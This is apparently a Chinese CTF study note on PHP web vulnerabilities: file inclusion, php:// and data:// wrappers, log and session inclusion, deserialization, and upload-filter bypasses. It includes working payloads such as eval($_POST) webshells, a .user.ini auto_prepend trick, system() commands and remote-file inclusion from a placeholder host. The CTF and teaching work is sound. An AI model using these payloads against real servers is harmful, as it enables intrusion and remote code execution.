ctf笔记php
ctf笔记:php
博客链接:https://www.blog.23day.site/articles/80
语法
攻防世界:easy_php
==
攻防世界:simple_php
- $a == $b等于TRUE,如果类型转换后 $a 等于 $b。
- $a === $b全等TRUE,如果 $a 等于 $b,并且它们的类型也相同。
- $a != $b不等TRUE,如果类型转换后 $a 不等于 $b。
- $a <> $b不等TRUE,如果类型转换后 $a 不等于 $b。
- $a !== $b不全等TRUE,如果 $a 不等于 $b,或者它们的类型不同。
- $a < $b小与TRUE,如果 $a 严格小于 $b。
- $a > $b大于TRUE,如果 $a 严格大于 $b。
- $a <= $b小于等于TRUE,如果 $a 小于或者等于 $b。
- $a >= $b大于等于TRUE,如果 $a 大于或者等于 $b。
文件包含
PHP文件包含漏洞主要由于四个函数引起的:
- require()/require_once():如果在包含过程中有错,那么直接退出,不执行进一步操作。
- include()/include_once(): 如果在包含过程中出错,只会发出警告
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析
<?php
$file = $_GET['file'];
include $file;
?>
在同目录下有个phpinfo.txt,其内容为<? phpinfo(); ?>
。则只需要访问:index.php?file=phpinfo.txt
,即可成功解析phpinfo。
分类
LFI(Local File Inclusion)
本地文件包含漏洞,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。
RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置
- allow_url_fopen = On
- allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off
php伪协议
php://input
攻防世界:Web-php-include
php://input
可以获取POST的数据流,当它与包含函数(include、require等)结合时,php://input流会被当作php⽂件执⾏,从⽽导致任意代码执⾏。
利用条件:
- allow_url_include = On
- allow_url_fopen = Off/On
index.php?file=php://input
POST:
<? phpinfo();?>
// php://input利用文件包含写入shell
<?php
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>
<?php
system('ls');
?>
php://filter
攻防世界:fileinclude
攻防世界:fileinclude
攻防世界:file_include
php://filter可以获取指定⽂件源码,当它与包含函数结合时,php://filter流会被当作php⽂件执⾏。所以我们⼀般对其进⾏编码,让其不执⾏,从⽽导致任意⽂件读取。
利用条件:
- allow_url_include = Off/On
- allow_url_fopen = Off/On
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
//效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。
index.php?file=php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
php://filter包含下列参数:
- resource=<待过滤数据流> 必选,指定你要筛选过的的数据流
- read=<读链筛选列表> 可选,⼀个或多个过滤器名称,以管道符分割
- write=<写链筛选列表> 可选,⼀个或多个过滤器名称,以管道符分割
过滤器我们分为
-
转换过滤器
-
convert.base64
我们可以使⽤ convert.base64-encode 或 convert.base64-decode 来进⾏base64编码或解码。这样我们直接包含php⽂件时,php代码部分会执⾏,我们⽆法得到源码,⽽使⽤此过滤器则可将代码先进性base64编码,我们得到之后再进⾏base64解码,这样就能得到源码了
-
convert.quoted-printable
使⽤ convert.quoted-printable-encode 或 convert.quoted.printable-decode 来进⾏ quoted-printable 编码或解码,⽤法和base64类似
-
convert.iconv.*
convert.iconv.<input-encoding>.<output-encoding> convert.iconv.<input-encoding>/<output-encoding>
php支持的编码格式(部分)
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win* ISO-2022-JP ISO-2022-JP-MS CP932 CP51932
例如:convert.iconv.UCS-4*.UCS-4BE —> 将指定的文件从UCS-4*转换为UCS-4BE 输出
-
-
字符串过滤器
-
rot13
使⽤ string.rot13 来对字符串内容进⾏ rot13 编码
ROT13编码是把每一个字母在字母表中向前移动13个字母得到。数字和非字母字符保持不变。
-
toupper
使⽤ string.toupper 来将字符串内容变⼤写
-
tolower
使⽤ string.tolower 来将字符串内容变⼩写
-
strip_tags
使⽤ string.strip_tags 将字符串中的空字符,HTML和PHP标记去除。
-
-
压缩过滤器
-
加密过滤器
phar:// 和zip://
利用条件:PHP版本大于5.3.0
这两个方法都可以解析zip压缩文件里面的文件内容并当做脚本执行
假设test.zip里面有个文件为phpinfo.txt,解析执行phpinfo.txt的方法有:
index.php?file=phar:///www/..../test.zip/phpinfo.txt (phar://绝对路径)
index.php?file=phar://test.zip/phpinfo.txt (phar://相对路径)
index.php?file=zip:///www/.../test.zip/phpinfo.txt (zip必须是绝对路径)
data:<URI> <schema>
利用条件
- php版本大于等于php5.2
- allow_url_fopen = On
- allow_url_include = On
常用格式
- data:, <文本数据>
- data:text/plain, <文本数据>
- data:text/html, <HTML代码>
- data:text/html;base64, < base64编码的HTML代码>
- data:text/css, <CSS代码>
- data:text/css;base64, <base64编码的CSS代码>
- data:text/javascript, <Javascript代码>
- data:text/javascript;base64, <base64编码的Javascript代码>
- data:image/gif; base64,base64编码的gif图片数据
- data:image/ png; base64,base64编码的png图片数据
- data:image/jpeg;base64, base64编码的jpeg图片数据
index.php?file=data:URL,<?phpinfo();?>
index.php?file=data:URL;base64,PD9waHAgcGhwaW5mbygpOz8+
//加号 的url编码为+,PD9waHAgcGhwaW5mbygpOz8 的base64解码为:<?php phpinfo();?>
index.php?file=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
文件包含
包含session
条件:session文件路径已知,且其中内容部分可控(php的session文件的保存路径可以在phpinfo的session.save_path看到)
常见session文件路径
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
包含日志
实现条件:需要知道服务器日志的存储路径,且日志文件可读。
web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含
包含SSH log
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
ssh '<?php phpinfo(); ?>'@<remote host>
之后会提示输入密码,然后在remotehost的ssh-log中即可写入php代码,之后进行文件包含即可。
包含environ
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它即可。
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可
类似利用临时文件的存在,竞争时间去包含的
绕过WAF
在日常情况下,碰到的可能是如下这种有前缀又有后缀的情况
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
绕过前缀指定
考虑这种只有前缀的情况
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
现在在/var/log/test.txt文件中有php代码,则利用…/可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/test.txt
则服务器端实际拼接出来的路径为:/var/www/html/…/…/log/test.txt,也即/var/log/test.txt。从而包含成功。
绕过后缀指定
接着考虑指定后缀的情况。测试代码:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
URL
url格式
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制
1.query(?)绕过
index.php?file=http://remoteaddr/remoteinfo.txt?
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作query从而被绕过。
2.fragment(#)绕过
index.php?file=http://remoteaddr/remoteinfo.txt#
则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作fragment从而被绕过。注意需要把#
进行url编码为#
。
利用协议
前面有提到过利用zip协议和phar协议。假设现在测试代码为:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
构造压缩包,其中test.php内容为:
<?php phpinfo(); ?>
利用zip协议,注意要指定绝对路径
index.php?file=zip:///www/fileinclude/chybeta.zip#chybeta
则拼接后为:zip:/www/fileinclude/chybeta.zip#chybeta/test/test.php
长度截断
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
index.php?file=././././。。。。。。././shell.txt
则后缀/test/test.php
,在达到最大值后会被直接丢弃掉
0字节截断
利用条件: php版本 < php 5.3.4
index.php?file=phpinfo.txt
能利用00截断的场景现在应该很少了
misc
攻防世界:warmup
参数有/../../../../
这样的路径,所以符合最后一段话如果定义了路径,就会忽略/
前的字符串而找/../../../../ffffllllaaaagggg
这个文件
序列化、反序列化
原理
序列化实际是为了传输的方便,以整个对象为单位进行传输, 而序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
序列化
<?php
class User
{
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'User '.$this->name.'is'.$this->age.'years old. <br />';
}
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = 'daye';
//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);
?>
User dayeis20years old. <br />O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
序列化字符串解释
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
对象类型
- a - array
- b - boolean
- d - double
- i - integer
- o - common object
- r - reference
- s - string
- C - custom object
- O - class
- N - null
- R - pointer reference
- U - unicode string
反序列化
<?php
class User
{
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'User '.$this->name.' is '.$this->age.' years old. <br />';
}
}
//重建对象
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');
$user->PrintData();
?>
User daye is 20 years old.
反序列化漏洞
魔术方法
- __construct 当一个对象创建时被调用
- __destruct 当一个对象销毁时被调用
- __toString 当一个对象被当作一个字符串被调用
- __wakeup() 使用unserialize时触发
- __sleep() 使用serialize时触发
- __destruct() 对象被销毁时触发
- __call() 在对象上下文中调用不可访问的方法时触发
- __callStatic() 在静态上下文中调用不可访问的方法时触发
- __get() 用于从不可访问的属性读取数据
- __set() 用于将数据写入不可访问的属性
- __isset() 在不可访问的属性上调用isset()或
empty
()触发 - __unset() 在不可访问的属性上使用unset()时触发
- __toString() 把类当作字符串使用时触发,返回值需要为字符串
- __invoke() 当脚本尝试将对象调用为函数时触发
漏洞利用
当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。
利用条件
- unserialize的参数可控。
- 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
wakeup()绕过
攻防世界:Web-php-unserialize
CVE-2016-7124
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行
字符逃逸
文件上传
客户端校验
本地js检测
- 利用burp抓包改包,先上传一个jpg类型的木马,然后通过burp将其改为asp/php/jsp后缀名
- 浏览器禁用js
服务端黑名单后缀校验
上传特殊可解析后缀
- asp|asa|cer|cdx
- aspx|ascx|ashx|asax|asac
- php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根据配置文件中设置类型来决定)
- jsp|jspx|jspf
- htm|html|shtml|pwml|js
- vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
上传.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为:
- mod_rewrite 模块开启
- AllowOverride All
上传.user.ini
原理:
- .user.ini 有点像.htaccess,php运行时,会检索加载所有目录下的.ini配置文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。
- .user.ini是一个能被动态加载的ini文件,这点和php.ini不同。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM
、PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
。
其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
这里就很清楚了,.user.ini
实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
实际上,除了PHP_INI_SYSTEM
以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
而且,和php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM
模式的(甚至是php.ini only的),包括disable_functions
、extension_dir
、enable_dl
等。 不过,我们可以很容易地借助.user.ini
文件来构造一个“后门”。
Php配置项中有两个比较有意思的项(下图第一、四个):
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xobVt7tE-1671183312067)(img/ctf-web-php/2014103002272554789.png)]
auto_append_file
、auto_prepend_file
,点开看看什么意思:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z1ykRh9k-1671183312068)(img/ctf-web-php/2014103002272569525.png)]
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
利用
上传.user.ini:
auto_prepend_file=1.gif # 要访问的文件加载之前加载
auto_append_file=1.gif # 要访问的文件加载之后加载
上传一个包含webshell代码的1.gif:
GIF98A <?php eval($_POST['a']);?>
访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行
?a=system('whoami');
黑名单绕过
点绕过:windows会对文件中的点进行自动去除,所以可以在文件末尾加点绕过 .php.
空格绕过:filename=.php
<- 最后加个空格
后缀双写绕过:./pphphp
后缀大小写绕过:.PHP